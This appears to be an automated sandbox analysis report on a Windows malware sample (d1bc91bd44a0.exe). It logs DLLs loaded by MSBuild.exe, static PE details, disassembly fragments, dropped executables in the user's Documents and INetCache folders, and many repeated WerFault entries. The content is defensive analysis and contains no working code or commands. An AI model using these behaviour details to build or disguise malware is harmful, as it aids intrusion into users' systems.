Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: d1bc91bd44a0.exe

Static file information: File size 2113536 > 1048576

Source: d1bc91bd44a0.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1dbe00

Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: d1bc91bd44a0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: d1bc91bd44a0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: d1bc91bd44a0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: d1bc91bd44a0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: d1bc91bd44a0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: d1bc91bd44a0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: d1bc91bd44a0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: d1bc91bd44a0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_0041C03D LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

10_2_0041C03D

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A42745 push edi; ret	1_2_00A42969
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A47186 push ecx; ret	1_2_00A47199
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00BCE190 push ecx; ret	1_2_00BCE1A3
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A51209 push esi; ret	1_2_00A5120B
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A42750 push edi; ret	1_2_00A42969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_005662B0 push ecx; ret	2_2_005662C3
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00962094 push edi; ret	8_2_00962969
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00967186 push ecx; ret	8_2_00967199
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_009A2F15 push ecx; ret	8_2_009A2F28
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD2094 push edi; ret	9_2_00CD2969
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CF8042 push es; iretd	9_2_00CF8043
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD7186 push ecx; ret	9_2_00CD7199
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D27142 push ecx; ret	9_2_00D27155
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D272E0 push ds; retn 0003h	9_2_00D27395
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D273A6 push ds; retn 0003h	9_2_00D27395
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D2745C push ds; retf 0003h	9_2_00D2745D
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D299F5 push 0000004Ch; iretd	9_2_00D29A06
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CF8C29 push esi; retf 0000h	9_2_00CF8D01
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D15DB5 push ecx; ret	9_2_00D15DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041B035 push ecx; ret	10_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042F262 push ecx; ret	14_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00422E59 push esi; ret	14_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041DED5 push ecx; ret	14_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00432715 push 0000004Ch; iretd	14_2_00432726

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
